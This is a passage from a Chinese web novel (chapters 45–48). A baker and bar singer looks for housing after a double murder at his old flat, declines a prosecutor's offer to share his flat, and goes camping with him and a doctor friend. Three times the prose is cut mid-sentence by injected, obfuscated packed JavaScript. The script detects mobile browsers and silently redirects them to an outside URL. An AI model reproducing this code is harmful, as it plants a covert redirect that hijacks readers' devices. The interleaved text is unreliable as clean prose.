戚玉衡心里明白这个道理。八百五能在枫树湾小区租到房子,这种情况是可遇而不可求的。但俗话说由俭入奢易,由奢入俭难,戚玉衡在枫树湾住惯了,用同样的价格租一个格局奇葩的房子,他心里不大情愿。 要不是孔正文…… 想到死去的段俊和高晶,戚玉衡心中又是一窒。 戚玉衡最终没有立刻做决定,反正他付了十天的旅馆钱,找房子的事也不是迫在眉睫。 和中介分手后,戚玉衡回了星星烘焙。刚推开店门,戚玉衡就听到烘焙间里传出了胡亦豪的声音:“谁能想到,他居然是杀人犯的儿子啊。” 随后,杨金泽说了两句话。但杨金泽的声音很小,戚玉衡又是半聋,没听清他到底说了什么。 胡亦豪又道:“还好咱们店主要是做网上的订单,就算出了这样的丑事,也不会太影响店里的生意。嗐,我不知道别人怎么想,但我啊,要是知道哪个店老板家里出了个杀人犯,我肯定就不去了,”说到这,胡亦豪的声音稍稍压低了一些:“我觉得,那杀人犯的基因,都是会遗传的。那句老话怎么说的来着?有其父必有其子。龙生龙,凤生凤,老鼠的儿子会打洞,乌龟原是王八种!有个杀人犯的爹,那儿子会是个什么好东西?” 戚玉衡听到这,走进屋内,一把将门关上,发出了咣的一声响。 烘焙间的声音一下子静音了。 戚玉衡掀开烘焙间的门帘,果不其然,烘焙间里只有胡亦豪和杨金泽两个人——牛明星今天在家养胎,没有来。许嘉璐和于双也不在,大概率是出门觅食了。 背后说人坏话被抓个正着,胡亦豪和杨金泽都表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870149|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现得十分不自在。胡亦豪背对着他玩手机,看也不看他,杨金泽本也是装模作样地低头玩手机,但感觉到戚玉衡一直没说话,他有些心虚,又有些害怕,抬起头,表情僵硬地和戚玉衡打了个招呼:“……戚哥。你、你来了啊。” “嗯,”戚玉衡语气淡淡:“嘉璐和又又呢?” “啊,她俩,她俩好像去附近新开的一家网红店吃饭去了。下午上班前回来。” 戚玉衡没说什么,把门帘放了下来,去前厅的货架上拿了个欧包,一个人默默吃了起来。 正吃着呢,沈灵均给他发来了几条消息。 沈灵均先是给他发了一条警情通报的微博链接。戚玉衡点进去一看,发现这条微博通报的正是孔正文的事。 【Shen:今天吃饭的时候我听到我同事讨论,才知道这件事。这个凶手作案的地点就在你家附近,作案时间也跟你昨天回家的时候差不多。你没事吧?你昨天没撞见他吧?】 戚玉衡看着这条消息,心里一暖。他放下手中的欧包,犹豫了一会,将实情告诉了沈灵均。 沈灵均立刻发来了一串省略号。 【Shen:我的天呐。那你没受伤吧?你有没有接受心理疏导啊?那你的房子现在肯定是不能住了,你现在住在哪呢?】 戚玉衡一一回答了这些问题: 【戚玉衡:我没受伤。我觉得我心理状态还可以,情绪也挺稳定的,所以就没联系心理疏导。我现在在一家旅馆住,等找到了新房子,我就搬进去。】 【Shen:你在哪家旅馆住啊?】 戚玉衡一瞬间有点难为情。住廉价旅馆当然不算是一件值得羞耻的事,但是将这件事朝沈灵均吐露——朝闪闪发光、锦绣丛中长起来的沈灵均吐露,戚玉衡便不受控制地觉得有些难堪。像是当着他的面脱掉鞋子,露出大拇指破洞的袜子,让他不得再一次直面他们二人之间天堑一样的巨大差距。 但戚玉衡还是老老实实地将旅馆的定位链接发给了沈灵均。 沈灵均回了个OK的表情,没有再多说。 因为牛明星今天不在,打包快递的工作就落在了戚玉衡一个人的肩上。戚玉衡一个人忙到七点半,才把所有快递发出去。而他八点就要在Resonate开唱,已经没有时间再去吃晚饭了。戚玉衡狼吞虎咽地吃了两块司康,便骑车赶往Resonate。 晚上十一点半,沈灵均走入了Resonate。戚玉衡觉得,自己是第一个发现他到来的人——自从沈灵均上次来Resonate之后,他的目光便习惯性地落在门口,期待着、等待着他的到来。 沈灵均今天穿了件大翻领的深棕色落肩大衣,内搭一件棕白相间的渐变色针织衫,下穿休闲西裤和皮鞋。 他先是朝他眨了眨眼,随后在吧台旁坐了下来。 他大概率是来找我的。可能是因为听说了孔正文的事,来这里……关心我的。尽管知道沈灵均的一举一动都没有什么特别的含义,但想到这,戚玉衡的心头还是忍不住升起了一丝雀跃。 过了十二点,戚玉衡下班了。走到沈灵均身边:“沈检,你来啦。你……有事找我吗?” 沈灵均点了点头:“是,我有事找你。你现在情绪怎么样?有没有出现入睡困难、焦虑的情况?你真的不用接受心理疏导吗?” “不用的,我真的挺好的。要是之后我身上有什么不对劲,我会自觉去找警察接受疏导的。” “那就好,你有这个自觉性就好。那个……你找好房子了吗?” 戚玉衡摇摇头。 沈灵均搓了搓手:“是这样,我,我住紫都华府,这个你知道的吧?我那个房子,是我妈买的,买的时候她也没想太多,脑子一热就买了。那房子特别大,将近三百平,六个卧室,就我一个人住。虽然有一个卧室被我改成书房了,但还空着四个卧室,平时我就觉得这房子我一个人住太空。就这个房子,有贼进来我说不定都发现不了……”说到这,沈灵均的脸上现出些懊恼:“我没别的意思,我也不是炫耀……” 戚玉衡当然明白他想表达什么。 “我就是想问,既然你要租房子,那你要不要来租我的房子,和我一起住?给我那房子添点人气。” 46.第 46 章 戚玉衡朝沈灵均露出一个笑:“谢谢,我……” 戚玉衡从来没有像这一刻一样憎恨自己的贫穷、窘迫以及无谓的自尊。如果他能放下他那毫无意义的自尊,沈灵均就不需要这样千方百计、绞尽脑汁地帮助他,如果他能活得体面一些,在他面前,沈灵均不必连说句话都需要小心翼翼、慎之又慎。 尽管他心中无比地渴望能和沈灵均朝夕相处,可面对眼前这样千载难逢的机会,他那可笑的自尊还是黏住了他的嗓子,拼尽全力地阻止他说出那个“好”。 戚玉衡右手虚握成拳,大拇指狠狠地掐进食指第三个指节里:“我、我……谢谢你,沈检。但我不能这么麻烦你。” 沈灵均道:“不麻烦,不麻烦。那么大一个房子,咱们俩工作时间又不一样,说不定好几天都碰不到一面,你能怎么麻烦我?我们可以各自搞各自的卫生,你想麻烦我都难。你租谁的房子不是租?不如租我的。” 戚玉衡看着沈灵均,轻声道:“我知道,沈检,你是想帮我。” “嗐,我们不是朋友嘛……” 戚玉衡打断了他的话:“朋友之间,应该有来有回、互帮互助,而不是一方像个无底洞一样一直接受另一方的帮助,”戚玉衡低着头,看着手里的吉他:“沈检,你已经帮过我特别特别多了,我非常感激你。谢谢你的好意,但我不能租你的房子。紫都华府的房子该是什么价格,我心里有数。我能支付的租金很有限,对你来说,这根本不是一场等价交换。对不起……辜负你的好意。” 沈灵均站起身,摆手道:“不用道歉、不用道歉,你不租就不租,这算什么大事?哪还需要你道歉?” 沈灵均的语气十分认真:“你说朋友之间应该互帮互助,我同意,但你说你像个无底洞一样、一直接受我的帮助,这句话我不认同。我确实帮过你一些忙,但你也帮我了呀。你在医院帮我照顾长乐和长乐爷爷,这些难道不是对我的帮助吗?长乐一直是一个很内向、有些自闭的孩子,你能让他敞开一些心扉、让他在奶奶出事的时候没有那么孤立无援……这真的帮了我大忙。” 沈灵均顿了顿,继续说:“还有,你不用把什么都设想成我对你的‘帮忙’。如果日后你和我妈他们公司签了承包合同,那这个介绍人的功劳,我认。但是,其他的事,比如说我请你给长乐做家教,这真的不是我对你的‘帮忙’。是你自己争取到这个机会的。如果你对高三的知识一窍不通的话,我怎么会请你做老师呢?如果你讲课无法让长乐认可的话,以长乐的性格和习惯,他也不会同意花家教费的。” “说起来,你现在还能记得高中的知识,真是不容易。我大学学的知识都快忘光了。” “没有,没有多厉害,”说到这,戚玉衡更加不好意思,“我、我就是,有个习惯,每一年的高考结束之后,我就会做一做当年的高考卷。所以相当于每年都把高中的知识反刍、复习一遍,所以才记得牢些。” 戚玉衡看到,沈灵均的表情肉眼可见的变得有些无措——这种表情,其实很少出现在他的脸上。但这样的表情今晚已经在他脸上出现过两次。因为他永远认真、体贴地考虑他的情绪,生怕刺痛他可笑而单薄的尊严,明明他对他毫无情愫,但仅仅是靠近他,戚玉衡就恍惚觉得自己在被爱着。 戚玉衡忍不住笑了,他道:“最开始养成这个习惯那两年,的确是因为我心里有些意难平——明明我成绩不错,为什么却没机会读大学了呢?长久以来,我一直把读书当成改变我命运的唯一方式。但后来,我保持这个习惯,纯粹只是因为习惯了……甚至偶尔把它当做逃避现实、获取快乐的工具。当把一张大家都说很难的数学试卷做出超过一百四的好成绩,谁还会没点优越感呢。” “遗憾,还是有。但是这种遗憾不再让我觉得痛苦了。我确实没能读大学,但这些年,如果不是因为还债,挣到的钱也不算少……比大多数上班族都多。刚出事的时候我觉得那些钱我可能要花一辈子来还,现在看看,如果我活得久的话,半辈子就足够。这怎么不算是改变命运了呢?不读书,我也把我的命运改得挺好了。” “所以,沈检你千万不要觉得,提起上学、读书的话题会让我难过。我,”戚玉衡有些语无伦次地道:“真的,我完全不会的!” 沈灵均没有立刻答话,只是默默地看着他。他本来就生了一双脉脉含情的桃花眼,如今,这双眼睛在酒吧昏暗灯光的晕染下,少了几分明亮,多了几分朦胧,像是盏一眼就知醉人的酒。 一时间,戚玉衡心跳如鼓,面颊滚烫。 沈灵均轻笑一声,道:“这是我几次说了?小戚,我真佩服你。佩服到五体投地。” 没等戚玉衡说话,他就听到一个男声道:“你们俩在这站着干嘛呢?又不是没空座。” 戚玉衡转过头,看见了一个他有些面熟的男人:这人一张长圆脸,一双偏圆的眼睛,唯有眼尾微微往上挑些,随着两条飞扬的眉毛往两鬓斜插而去。他这会正在笑,露出洁白整齐的牙齿,整个人看上去神采飞扬。他看上去也有二十八九岁的样子,面目中却有种和年龄不符的蓬勃朝气。 人是很帅的,但他穿的这衣服——黑色的大衣,但上面有很多花里胡哨的刺绣,让戚玉衡觉得这件衣服乱糟糟的。 这人伸出手,勾住了沈灵均的脖子:“你来找小戚啊?” 看到二人这亲密的举动,戚玉衡一下子想起来这人是谁了——他是沈灵均的朋友,沈灵均第一次来Resonate就是和他一起来的。 “嗯,”沈灵均向戚玉衡介绍道:“这是陈彦博,我发小,容州人民医院急诊科的医生。” 陈彦博在一旁补充道:“发小兼最好的朋友。” 陈彦博朝戚玉衡伸出手:“你好,你就是戚玉衡小戚吧?十一跟我说起过你很多次了。久闻大名,如雷贯耳。” 戚玉衡忙伸出手跟他握了握:“陈医生,你好……”戚玉衡看了一眼沈灵均:“十一……是指沈检?” 陈彦博点点头:“嗯,他十月一号生的。和我们伟大的祖国母亲一天生日,每年他过生日,那叫一个红旗飘扬普天同庆,所以他小名叫十一,你也可以叫他国庆。” “……原来如此。” “别站着了呀,都坐都坐,”陈彦博把两个人按到座位上,瞧着戚玉衡的脸,道:“小戚,你这脸怎么了?” 一天过去,戚玉衡的脸其实已经消肿不少。为了上台,戚玉衡还特地借了酒吧服务生小妹的气垫霜,在脸上压了一层。戚玉衡没想到还会被陈彦博看出来,他本能地侧了侧脸,用右脸朝着沈灵均的方向:“和别人闹了点误会,让人给打了一下。” “嘿,我还给忘了,”沈灵均从兜里掏出一管药膏,“这个给你。我妈去年因为走路不小心摔过一跤,把下巴磕掉块皮,当时一声就给她推荐了这个药膏,人表皮因子生长凝胶。按照医生的要求涂了几天之后,全好了,一点疤没留下。你拿去涂吧,我昨天看你的脸,上面有两道口子,你千万要小心别感染呀,你长得这么好看,留疤了可怎么办?” 陈彦博在一旁认证道:“对对对,涂这个,这个真的好用的。” 戚玉衡的眼眶也跟着脸颊一起发烫了。他接过那只药膏:“……谢谢。” 戚玉衡心里忽然升出些真切的担心:他今天涂了粉底,不会给伤口造成什么负面影响吧? 沈灵均问陈彦博:“你夜班刚下班?” “对,”陈彦博伸出两根手指:“我之后连休两天,来这小酌两口。” 沈灵均道:“你知不知道,你们医院附近有没有出租的、便宜的房子?合租、有人分摊租金的那种?” 沈灵均并不是单纯的顺口一问:人民医院所在的位置是容州的老城区,附近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872045|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的房子很多都是硬件设施非常陈旧的老房子,房子本身的硬条件并不好。因此虽然房子本身的地理位置不错,但房价并不算高。 陈彦博多精明一人,立刻看向戚玉衡:“小戚,你要租房啊?” 戚玉衡点点头。 陈彦博右手打了个响指:“那你们可问对人了。一般情况下我还真不知道这方面的信息,我们科这个月新来了几个轮转的规培生,我带的那两个学生他们跟我提过这方面的事。那两个男生就在我们医院附近租的房子,好像一共是七十多平,两室一厅,有厨房可以做饭。每个卧室里有四张床,就是那种上下铺,每人每月九百。现在那个房子住了六个人,还空两张床。” “这价格很可以了,那房子临近医院,走两百米就是地铁站,附近好几条公交干线。要说缺点,就是早晚用厕所得排队。但是,这个租金,真的不贵,而且直接跟房东联系,没中介费的。小戚,你要是能接受这个条件的话,我就帮你问问房东的联系方式。” 戚玉衡忙道:“我能,能的。” “行,那我们加个微信。我问到了就发给你。” 和戚玉衡加完微信,陈彦博撞了沈灵均一下,问:“你这周六周日有没有时间?” “应该有……怎么?你有事?” “这周末我想去露营,你要不要跟我一起去?” “去哪露营?” “青阳乐水,从容州开车也就不到两个小时,一个山顶营地。我也是第一次去,神外一老哥推荐给我的,说景美,人也不多,这个季节还可以看到红杉,夜晚还能看到银河。” 说到这,陈彦博转向戚玉衡:“小戚你周末有时间吗?要不要一起去?” “就我、十一、你,咱们三个人。帐篷啊、睡袋啊,我都有,我都带着,我没车,你是不是也没车?那就让十一开车。营地费、油钱、采购食物的钱,三个人A一下,一个人不到四百,挺合适的。” 戚玉衡想去。他想和沈灵均一起去露营。 “我去……我想去。” 陈彦博拉了一个三人小群:“那敢情好啊,那我把那个营地的位置图发给你们,你们看看订哪个区的营位比较好,这个时候订正好,过几天可能就订不到了。有草坪区和木台区,草坪区离停车位近一点,我们卸东西方便一点,可以用明火。木台区临山,视野更好,不可以用明火……但这个不重要,我有移动电源。A区朝东,看日出方便,B、C区朝西,看日落方便……” 三个人聚在一块讨论了一会,最终选择订了木台区B区。 虽然费用是三个人平摊的,但除了费用,沈灵均要出他的车,陈彦博会带他的露营工具,戚玉衡没财产,所以只想力所能及地出点力,他道:“我来负责采购吧。你们想吃什么?” 陈彦博摸着下巴:“说到露营,那必须是烧烤啊。各种牛肉、鸡翅、口蘑、土豆……哦对,一定少不了酒。但酒我家有,我来带。” “好,那你们之后把想吃的东西发给我就好了。对了,你们想吃什么甜品吗?我可以做一些带过去。” 陈彦博道:“那就麻烦你了……我什么都行!我一点也不挑!” 沈灵均在一旁点头:“我也是。你的手艺做什么都没得说。” “好。” 三人将露营的整个流程大致敲定完毕时,时间已经接近凌晨一点。陈彦博看了看时间:“二位,你们俩明天还得上班呢,先撤吧。我再酌一会。” “行,”沈灵均站起身,看向戚玉衡:“我……” 戚玉衡轻笑道:“我自己骑车回去。明天是工作日,这么晚了还要麻烦你送我,我心里会很不好意思的……谢谢。” 沈灵均听他这么说,也没再坚持:“好。那我们……周六见。” 戚玉衡心中充斥着一种温柔的、欢快的期待:“……周六见。” 47.第 47 章 第二天早上,陈彦博就给戚玉衡发来了房东的电话。当天下午,戚玉衡去看了房,当晚便入住了。他所在的房间一共住了三个人,另外两个人就是陈彦博带教的规培生。因为他是陈彦博介绍来的,二人都对戚玉衡很客气,个人卫生习惯也都很不错。 戚玉衡对他的新舍友很满意。 新舍友。新舍友。俗话说,旧的不去,新的不来。他的旧舍友,也是真的“去”了。 忙碌的生活也不是全无坏处,这两天,戚玉衡很少想起段俊和高晶的事。实话说,他虽然和段俊是住上下铺的舍友,但关系算不上很亲密,他和高晶更是没说过几句话,只能勉强算是点头之交。但一旦想起他们两个的事,戚玉衡还是忍不住神伤。 孔正文用刀伤害了段俊和高晶,终结了他们的生命。但在戚玉衡看来,从某种程度上来说,这桩犯罪所带来的很多伤害,在段俊和高晶两个人生命终止时,才刚刚开始。 这天下午,戚玉衡花时间做了个蛋糕,晚上去李长乐家上课前,他又去超市买了不少零食水果,连着蛋糕一起拿到了李长乐家。 李长乐的眼睛还没有消肿,现在是个看着有些滑稽的大小眼。 戚玉衡拽着他上上下下、前前后后地看了两遍,忍不住数落道:“他们刚开始欺负你的时候,你就应该告诉你沈叔叔的。你脚崴了的那天,你就应该告诉我的。” 何秀红在一旁附和道:“就是就是。” 李长乐有些不好意思地挠挠头:“戚哥,何姨,你们就别再说我了。他……沈叔已经批评过我了。我再也不敢了。” 戚玉衡问:“学校那边最后怎么处理那几个学生了?” “给我道歉,记大过,课间操的时候在全校同学面前做检讨,高考前不准参加所有的校园集体活动……在不开除的情况下,这是最严厉的处罚了。” 李长乐顿了顿,小声道:“如果他不来,肯定不是这个处理结果。你不知道,我还是第一次见他发火呢,我们校长都被他吓得一愣一愣的。” 戚玉衡捏住李长乐的鼻子:“有人撑腰的感觉是不是很好?” 李长乐点点头。 “你早说,不就早体验上这种感觉了?” 李长乐挣开戚玉衡的手,跑回了自己的房间:“我真的知道错了戚哥……你们别再念叨我了。赶紧上课吧。” 看李长乐的情绪似乎并没有因为这件事受影响,戚玉衡的心也终于放下了。 周四下午,洪希元给戚玉衡发来了微信,他告知戚玉衡,警方对现场的封锁已经结束了,他可以回“家”了,也可以来取那些被带到警局作为证物的私人物品了。 戚玉衡去找洪希元的时候,洪希元正在接待两个女人——一个大约二十八九岁,一个还只能被称为女孩,十六七的样子,两人的衣着都非常朴素。看着她们两个与段俊有几分相似的脸,戚玉衡对她们的身份有了猜测:她们大概率是段俊的姐妹。 两个人都形容憔悴,眼睛红肿。戚玉衡犹豫了一会,最终没有主动上前跟她们搭话。他不知道该跟她们说些什么。 “对不起,请节哀”? “对不起,如果我再早回来半小时,一切可能都会不一样了”? “逝者已矣,生者坚强”? 但以戚玉衡的经验来说,这些话大概率都是没用的。对于大多数人来说,重要的人符合生理规律的老、病、死,便已经足够难以接受。重要的人被人为地夺走生命,亲友只会更加的意难平。 戚玉衡觉得,每一个人的离开都会给爱他的人带来一座迷宫。有的人能走出来,有的人不能,甚至终生困死其中。 离开丰山分局,戚玉衡在警察给他的证物箱中翻找了一番,把他的小企鹅找了出来。小企鹅已经被血染得看不出本貌,脏兮兮的。 很可能洗不干净了。戚玉衡想。 证物箱里还有不少他的衣服,全都沾染了大量的血迹,其中包括那套他特地买来去见沈灵均的新衣服。这些衣服就算能洗得干净,戚玉衡也不打算穿了,索性找了个垃圾箱全丢了。 随后,戚玉衡回了枫树湾,回到了他住了快三年的“家”。他的个人物品并不多,除了被褥和挂在外面的衣服,就只有一个行李箱。这个行李箱一直放在床底、靠墙的位置,因此只是被溅到了微不足道的几滴血迹。警方于是只做了拍照取证,并没有将它带回去进一步分析检验。 行李箱里除了戚玉衡的夏装,就是他奶奶的一些遗物。戚玉衡万分庆幸,他没有把它们拿到外面来。 他真该也这么保存他的小企鹅的。 把钥匙交还给房东,戚玉衡就彻底告别了这个“家”。 回到新“家”后,戚玉衡把他的小企鹅泡进了水里。他将网上去血迹的方法都试了个遍,但皆宣告失败。他的小企鹅永久性地变成了一只带着血迹的企鹅。尽管对这个结果早有预料,但戚玉衡的内心还是无比沮丧。 虽然它变脏了,但戚玉衡并不想把它丢掉——这是沈灵均送给他的礼物。但想到它身上染着高晶的血,戚玉衡心中有些抵触,也不想再把它放回自己的枕边。戚玉衡找了个塑料袋,把它包了起来,收进了自己的行李箱。 周五,牛明星结束了养胎假,复工上班了。做完上午的活,戚玉衡走到前厅和牛明星道:“星姐,我跟你说一声,中午我要用烘焙间做点东西,然后下午、明天一整天、周日上午都不来了。” “哦,行。你干嘛去啊?” “……我出去露营。” 这是一个牛明星从未设想过的答案。毕竟,在认识戚玉衡的八年时间里,她从来没见过他主动进行任何娱乐活动。一次都没有。 牛明星愣住了:“你和谁出去露营啊?你自己?” 戚玉衡露出一个有些不好意思的笑:“不是……和沈检,还有沈检最好的朋友。” 牛明星盯着他的脸看了一会,一把把他拉进了裱花间。确认门锁上了,牛明星转过头道:“哦~~~是谁,几天前就在这个屋子,跟我说,‘我对他没感觉’?这才几天啊,就变卦了?” 戚玉衡有些局促地别开脸:“打脸了,打脸了。我现在对他很有感觉,姐,你满意了吗?” 牛明星哼了一声:“勉勉强强吧。” 牛明星看着他,撇撇嘴,放轻声音:“但你……有点感觉就行了。之前,你不是说,沈检能给咱们介绍一个他妈妈公司食堂档口的单子嘛。能有权力决定这种事,他妈妈肯定得是一个大公司的中高层吧。你又说,沈检家住在紫都华府……肯定是高层吧。这种家室,别说他是喜欢男的还是喜欢女的了,无论怎么样,都是咱们高攀不起的。你啊,别陷得太深,小心拔不出来脚。” 戚玉衡坦然地点点头:“我知道。我心里,没有什么不切实际的想头。我就是想……抓住有限的机会,和他多见面,多和他待在一起。制造一些……美好的回忆,仅此而已。这样我就很满足了。” 牛明星看着他,忍不住微微皱眉:完了,好像已经陷得很深了啊?! 但牛明星倒也不是无法理解:这应该是戚玉衡的初恋。牛明星心中又浮现出沈灵均那张脸——长得帅、人又好,方方面面三百六十度无死角,戚玉衡这种小雏Gay情窦初开就遇见这种顶级货色,不被误终身就怪了。 嗐,青涩的暗恋也比遇到人渣强啊。人生短暂,及时行乐、有花堪折直须折也没错。 牛明星纠结了一会,到底没再泼冷水,说:“行吧,那就祝你玩得开心。” 戚玉衡笑道:“谢谢。” 做完点心,戚玉衡去超市买了食材。回到家,他将肉切好、腌制,把菜洗净,分门别类的装到保鲜盒中。忙完后,戚玉衡看着被他摞得整整齐齐的保鲜盒,想:露营,其实就是野餐的升级版吧? 小学的时候,学校每年都会组织学生春游、秋游,学生们中午则会在目的地野餐。小学一二年级的时候,他因为付不起车费,从来没有去过。三年级的春天,学校照例组织学生春游,他本来没打算去,但奶奶却给了他钱,让他报名。他当时嘴上推拒了几次,但其实心里是想去的。他最后也确实去了。 奶奶也给他带了吃的,她给他买了一袋小面包、一袋饼干——对于幼时的戚玉衡来说,这种零嘴并不是随随便便就能吃的。但是他们祖孙眼中的奢侈品,在外人看来却十分寒酸。野餐的时候,孩子们一般都会和自己要好的朋友交换手里的食物来吃。但戚玉衡没有朋友,也没有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903767|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看得上他手里的面包和饼干。于是,到了午餐时间,大多数人都三五成群地聚在一起吃饭,只有戚玉衡孤零零的一个人。 后来,他们班级的学委邀请他坐到了自己身边,和她以及她的朋友一起吃午餐。但戚玉衡刚坐过去,就听到一个女孩说:“你怎么把他叫过来了啊?他是捡垃圾的,身上很臭的!” 戚玉衡当时还小,脆弱的自尊心登时受到了打击,连句反驳的话都说不出,直接跑了,一个人跑到公园深处大哭了一场,结果迷路了,因此错过了集合时间。最后是老师找到他的,他也因为乱跑挨了老师好一顿批评。 总之,他人生中唯一的一次野餐并没给他留下什么愉快的记忆。 但这一次,应该会有不一样的体验了吧。 周六下午,还没到约定的时间,戚玉衡便迫不及待地下楼等着了。过了数分钟,沈灵均的车驶入了他的视线,陈彦博从后座探出头来,朝戚玉衡吹了声口哨:“靓仔,等好久了嘛?” 车在戚玉衡面前停了下来,车内传来了沈灵均的声音:“陈彦博,不要把头探出窗外!” 陈彦博不情不愿地缩了回去:“这都进小区了!这也犯法啊?你凶人家~~” 戚玉衡忍不住笑了。 戚玉衡伸手要去拉后座的车门,但陈彦博这时道:“诶诶,小戚,你坐前面,装备太多了,后备箱和后座都已经满了。” “啊……好的。” 戚玉衡下意识地攥紧了手中背包的背带,坐上了副驾驶位。 沈灵均今天一身运动风装扮,白色的冲锋衣,黑色的冲锋裤,因为现在正是阳光正盛的中午,他为了防止阳光晃眼睛,戴了一副墨镜。 很酷很帅。 陈彦博左手摆出电话的姿势贴到耳边,喊道:“滴滴,滴滴,任务人员已到齐,任务人员已到齐,请领导指示!请领导指示!” 陈彦博一人分饰两角:“收到收到!兹任命陈彦博同志为行动队队长,沈灵均同志为行动队副队长,戚玉衡同志为行动队政委,开始行动开始行动!总部祝你们一路顺风!马到成功!” “保证完成任务!保证完成任务!出发!” “队长”一声令下,“副队长”发动了车子。 两个小时后,行动队到达了目标地点。 虽然他们预订的是木台区的营地,但是车却只能停到草坪区营地附近,他们必须把帐篷、充气床垫这类露营装备搬到自己的营地去。 就在三人把车上的东西往下搬的时候,一辆玛莎拉蒂停到了他们的右边,一辆戚玉衡不认识的牌子的跑车停到了他们的左边。 陈彦博探头往左看了看,小声道:“我去,阿斯顿马丁V8,土豪啊!但是开这车上山,也不怕底盘被刮了。而且这车能装下露营的东西吗?” 戚玉衡忍不住问道:“这个车,要多少钱?” 陈彦博啧了一声:“最低配也得两百四五十个。” 这个时候,两个男人从那辆阿斯顿马丁上走了下来。戚玉衡只听身边的陈彦博道:“我操。” 戚玉衡下意识地看向陈彦博,发现他的表情一下子变得非常难看。 但还没等他开口说话,那两个男人就往他们的方向走了过来。 二人中走在前面、穿一件黑色夹克的男人在看到戚玉衡三人的时候,先是愣住了,随后,他脸上扯出了一个尴尬的笑:“……沈,沈少,好巧啊。” 戚玉衡又看向沈灵均,发现他的脸上不仅没有和熟人见面的温和热络,甚至算得上冷淡。 沈灵均没有说话,只是幅度很小的点了点头。 而那个穿黑夹克的男人并没有介意沈灵均的态度,快步绕过他们——二人和玛莎拉蒂的车主是同伴。 沈灵均轻声道:“东西都搬下来了,我们走吧。” 等三个人走出一段路,陈彦博才道:“对不起啊……我不知道会撞上他。” 沈灵均道:“道什么歉,你又不会算卦。” 沈灵均看向戚玉衡,主动解释道:“小戚,我和刚才那个人……算是有些过节。” “十五年前,我父亲让一辆车给撞了,全身多处骨折,双腿因此高位截肢。刚才那个人,就是肇事司机。” 48.第 48 章 戚玉衡愣了一下,道:“但是那个人,看着也就是三十岁左右的样子。十五年前……” 沈灵均轻轻地笑了一下:“对。十五年前,车祸发生的时候,他才十七岁,还有七个月才成年。我父亲虽然重伤、双腿截肢,但是在交通肇事的案件当中,只造成一人重伤的情况,属于情形轻微的。虽然他撞人之后逃逸了,但当晚,在警方还没查出来肇事车辆的时候就自首了,有自首情节。再加上……你也看到了,他家境相当好。案发后,他家属态度也很好,积极赔偿,他还是未成年,所以最后,他判一缓三。” “……判一缓三?” “就是法院判了他一年有期徒刑,但是缓刑三年,他最后一天牢也没有坐。” 戚玉衡微微张开口:“这也判得太轻了!你父亲,叔叔……叔叔可是残疾了!” 沈灵均语气淡然:“我当时的反应也和你一样。我觉得不公平。我父亲残疾了……不只是残疾了。车祸之前,我父亲身体一直很健康,但是车祸之后,他的身体状况一落千丈,也没法继续工作了,当年就办理了病退。他的免疫力变得很差,换季的流感总是躲不掉。把我父亲变成这样的人,却一天牢也不用坐……我觉得很不公平。” 说到这,沈灵均顿了一下,才继续道:“我们请的律师一开始就告诉我们,可能会是这样的结果。我很震惊。那段时间,虽然我查了很多案例,知道这样的结果是合法的,但我内心还是没办法接受……所以填志愿的时候选择了法学专业。我想知道,法律是怎样运作出这样一个合理、但似乎有些反直觉的结果的。” “行动队的气氛似乎被这件事搞得有些沉重了,”说到这,沈灵均敲了一下陈彦博的胸口,又拍了拍戚玉衡的胳膊,“你们别苦着脸啊。没事的,学了这么多年法律,现在我已经完全能接受那份判决了。我的心情也完全没因为遇到他受影响,你们也开心一点啊。” 陈彦博撇撇嘴:“我就是觉得有点晦气。晦气!” 三人之后又花了半个多小时搭帐篷、布置帐篷。把所有工作都做完之后,陈彦博一屁股坐在椅子上:“累死我了。” 沈灵均啧了几声,道:“队长,你在车上睡得跟头猪一样,你还累?我这个司机还没喊累呢。” 陈彦博反驳道:“你怎么不说我刚值了个下夜呢,我早上八点半才下班。” 陈彦博调整了一下自己姿势,面朝着帐篷的大门,道:“诶呀,在城市里待久了,看这些山山水水的,真是怎么看都好看。” 戚玉衡也坐了下来,附和道:“……嗯。” 沈灵均不着痕迹地看了戚玉衡一眼:他嘴角往上挑着,眼角眉梢都是笑意,眼睛里是真切的喜悦。 沈灵均想,这一趟值了。 陈彦博问他这周要不要去露营的时候,沈灵均心中其实是有些犹豫的:不知道是不是因为年纪大了,沈灵均近两年越来越不爱“折腾”,越来越怕“麻烦”。去看自然风光呼吸新鲜空气固然好,但一想到路上要花的时间、搭帐篷收帐篷要费的功夫、准备食材需要耗费的精力,沈灵均又觉得这个风光也不是非得看,这个空气也不是非得吸。 